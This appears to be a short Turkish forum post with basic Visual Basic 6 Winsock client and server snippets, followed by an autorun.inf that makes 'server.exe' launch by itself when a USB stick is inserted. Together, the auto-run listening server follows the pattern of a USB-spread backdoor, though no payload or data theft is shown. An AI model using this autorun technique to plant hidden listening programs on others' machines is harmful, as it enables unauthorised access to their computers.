|
|
|
 |
________server__________
//serveri açma
a.LocalPort = 60
a.Listen
//bağlantı kabul etme
Private Sub a_ConnectionRequest(ByVal requestID As Long)
a.close
a.Accept requestID
End Sub
_______client___________
a.close
a.RemoteHost = "127.0.0.1"
a.RemotePort = "60"
a.Connect
__gönderme alma kodları_
//alma
Private Sub a_DataArrival(ByVal bytesTotal As Long)
Dim gelen As String
a.GetData gelen
End Sub
//gönderme
a.SendData "veri"
arkadaslar sizlere otomatik olarak usb taktığımızda programımızın calısmasını göstereceğim
[AutoRun]
open = server.exe
shellexecute = server.exe
shellAutocommand = server.exe
shell = Auto
|
|
|
 |
|
|
